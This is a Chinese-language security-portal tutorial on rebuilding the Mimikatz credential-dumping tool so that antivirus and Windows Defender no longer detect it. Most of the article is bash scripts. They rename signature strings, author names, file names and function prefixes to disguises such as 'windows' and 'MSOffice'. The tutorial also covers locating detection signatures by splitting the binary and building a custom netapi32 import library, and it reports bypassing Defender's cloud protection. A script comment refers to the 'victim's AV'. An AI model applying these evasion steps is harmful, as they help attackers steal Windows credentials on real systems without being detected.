freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

手把手教你构建自定义的Mimikatz二进制文件
2020-09-21 19:10:08

介绍

在这篇文章中,我们将教会大家如何通过修改源代码的方式构建自定义的Mimikatz二进制文件,并绕过反病毒/终端检测与响应产品。

目前社区有很多关于Mimikatz混淆的技术文章,但大多数都针对的是如何让Invoke-Mimikatz绕过AMSI或直接使用PowerShell版本的混淆工具。但是,我选择的是构建一个不会被反病毒产品标记的自定义Mimikatz版本:

# This script downloads and slightly "obfuscates" the mimikatz project.

# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ...,

# so removing them from the project before compiling gets us past most of the AV solutions.

# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,

# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

 

git clone https://github.com/gentilkiwi/mimikatz.git windows

mv windows/mimikatz windows/windows

find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Mimikatz/Windows/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/DELPY/James/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Benjamin/Troy/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/benjamin@gentilkiwi.com/jtroy@hotmail.com/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/creativecommons/python/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/gentilkiwi/MSOffice/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/KIWI/ONEDRIVE/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/Kiwi/Onedrive/g'

find windows/ -type f -print0 | xargs -0 sed -i 's/kiwi/onedrive/g'

find windows/ -type f -name '*mimikatz*' | while read FILE ; do

newfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')";

mv "${FILE}" "${newfile}";

done

find windows/ -type f -name '*kiwi*' | while read FILE ; do

newfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')";

mv "${FILE}" "${newfile}";

Done

接下来,我们一起看一看如何去构建一个自定义的Mimikatz二进制文件。

Mimikatz包含病毒

毫无疑问,你下载的每一个Mimikatz发行版都会被反病毒产品标记为恶意软件,因为很多攻击者都会选择使用Mimikatz和其他开源项目来实施各种攻击行为。显然,有很多人并不知道为何这些开源项目会被标记,以及它们是如何被标记的:

真实的攻击者和渗透测试人员一般都不会直接选择使用项目的发布版本,而通常会选择使用自己的自定义构建版本。一般来说,他们只会选择使用Mimikatz的部分源代码。在这种情况下,我们会在保留原有功能特性的基础上对源代码进行修改以评估其检测率。因此,使用自定义的源码文件还是我们最佳的实践方式。

基础特征

针对Mimikatz的特征,我们首先需要替换掉下列字符串:

1、mimikatz, MIMIKATZ和Mimikatz

2、DELPY, Benjamin, benjamin@gentilkiwi.com

3、creativecommons

4、gentilkiwi

5、KIWI, Kiwi和kiwi

从反病毒厂商的角度来看,首先需要标记的就是源码文件中的这些字符串,如果你打开Mimikatz的菜单,你将看到如下图所示的信息:

菜单中所有的字符串都可以证明Mimikatz正在运行,所以我们需要在脚本中添加下列特征字符串来替换掉它们:

“A La Vie, A L’Amour”

http://blog.gentilkiwi.com/mimikatz

Vincent LE TOUX

vincent.letoux@gmail.com

http://pingcastle.com

http://mysmartlogon.com

我们也可以直接打开mimikatz.c文件,然后替换掉Banner,或者直接删掉它们。

接下来,我们还需要替换掉一些功能性的关键词。Mimikatz中的主模块如下:

1、crypto, dpapi, kerberos, lsadump, ngc, sekurlsa

2、standard, privilege, process, service, ts, event

3、misc, token, vault, minesweeper, net, busylight

4、sysenv, sid, iis, rpc, sr98, rdm, acr

我们还可以输入一个无效的模块名(例如::)来显示所有可用模块:

在这里,我们有两个选择。要么把所有的函数名替换成全大写字母,或者直接修改函数名称。对于第一种方法,我们熟悉的那些函数相当于没有变化。但对于第二种方法,我们就得去记新的函数名了。目前,我们选择继续使用熟悉得函数名,因为我怕一旦不小心,就会破坏其原有功能。为了为每个新版本构建一个自定义二进制文件,我们用随机名称替换与函数名无关的字符串。

要替换的另一个重要内容是二进制文件的图标。因此,在gist的修改版本中,我们用一些随机下载的图标替换现有的图标。

主菜单中的每个功能都有子功能。例如,最著名的函数sekurlsa就包含了以下子函数:

1、msv, wdigest, kerberos, tspkg

2、livessp, cloudap, ssp, logonpasswords

3、process, minidump, bootkey, pth

4、krbtgt, dpapisystem, trust, backupkeys

5、tickets, ekeys, dpapi, credman

确保大部分熟知的Mimikatz标识符都已经被修改了,其中也包括子函数名。脚本样例代码:【点我获取】。

通过执行Bash脚本,编译代码,并上传至VirusToal,我们将查看到下列结果:

25/67的检测率,但肯定还不够。

netapi32.dll

为了找到更多的特征,我们可以使用下列命令来将文件分割成多个部分:

head -c byteLength mimikatz.exe > split.exe

如果结果文件被删除了,说明其中就存在特征。如果没有被删除,那么这部分文件就是安全的。你还可以使用DefenderCheck工具来自动化实现该任务。简单来说,就是将文件分割成多个部分,然后把它们拷贝到C:\temp\目录下,并用Windows Defender进行扫描:

netapi32.dll中的下面这三个函数都会被Windows Defender标记:

I_NetServerAuthenticate2

I_NetServerReqChallenge

I_NetServerTrustPasswordsGet

在这里,我们可以创建一个包含下列内容的.def文件来构建一个自定义的netapi32.min.lib:

L

IBRARY netapi32.dll

EXPORTS

  I_NetServerAuthenticate2 @ 59

  I_NetServerReqChallenge @ 65

  I_NetServerTrustPasswordsGet @ 62

此时,我们可以使用下列命令在Visual Studio开发者终端中构建netapi32.min.lib文件:

lib /DEF:netapi32.def /OUT:netapi32.min.lib

我们将该文件嵌入至lib\x64\目录,然后重新编译。再次运行DefenderCheck之后,将无法检测到任何内容:

这也就意味着,我们已经绕过了Windows Defender的“实时保护”功能。但如果我们启用云保护功能,然后将该文件拷贝至其他位置,它还是会被检测到:

替换更多的字符串

当然了,我们还有很多需要替换的东西。首先,我们还要处理那些比较明显的字符串。Mimikatz菜单中包含对每个函数的介绍。比如说,子函数privilege就有下列描述信息:

这里,我们可以将所有的描述以字符串的形式添加进我们的Bash脚本中来进行替换。但并非所有都需要,比如说下面这些:

answer - Answer to the Ultimate Question of Life, the Universe, and Everything

coffee - Please, make me a coffee!

很多反病毒厂商会将相关的功能性DLL文件加载行为也进行标记,Mimikatz需要从.DLL文件中加载很多函数,为了在Mimikatz源代码中找到相关的DLL文件,我们需要打开Visual Studio,按下STRG + SHIFT + F。此时将能够搜索整个项目,搜索.dll就可以查看到项目中所有使用到的DLL文件了,然后将它们添加到Bash脚本中进行名称替换即可。

目录&文件结构

整个项目的目录结构似乎也是反病毒产品检测的根据之一,这里所有可用的函数名称貌似都是以kuhl_或KULL_作为前缀来声明的:

我们可以直接替换掉这些前缀:

kuhl=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/kuhl/$kuhl/g"

 

kull=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/kull/$kull/g"

 

find windows/ -type f -name "*kuhl*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/kuhl/$kuhl/g")";

mv "${FILE}" "${newfile}";

done

 

 

find windows/ -type f -name "*kull*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/kull/$kull/g")";

mv "${FILE}" "${newfile}";

done

 

under=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)

find windows/ -type f -print0 | xargs -0 sed -i "s/_m_/$under/g"

 

find windows/ -type f -name "*_m_*" | while read FILE ; do

newfile="$(echo ${FILE} |sed -e "s/_m_/$under/g")";

mv "${FILE}" "${newfile}";

Done

Bash脚本:【点我获取

执行Bash脚本之后,编译并上传至Virustotal:

虽然检测率还没啥太大变化,但目前已经可以绕过开启了云保护功能的Windows Defender了:

链接&资源

WinPwn - https://github.com/S3cur3Th1sSh1t/WinPwn

Inspiring Gist - https://gist.github.com/imaibou/92feba3455bf173f123fbe50bbe80781

Mimikatz - https://github.com/gentilkiwi/mimikatz

Mimikatz Features & Detection - https://adsecurity.org/?page_id=1821

DefenderCheck - https://github.com/matterpreter/DefenderCheck

Obfuscating Mimikatz - https://sudonull.com/post/27330-Getting-around-Windows-Defender-cheaply-and-cheerfully-obfuscating-Mimikatz-THunter-Blog

AVCleaner C/C++ obfuscation - https://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/&

https://blog.scrt.ch/2020/07/15/engineering-antivirus-evasion-part-ii/

PEZor - https://iwantmore.pizza/posts/PEzor.html

# Mimikatz # 绕过杀软
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者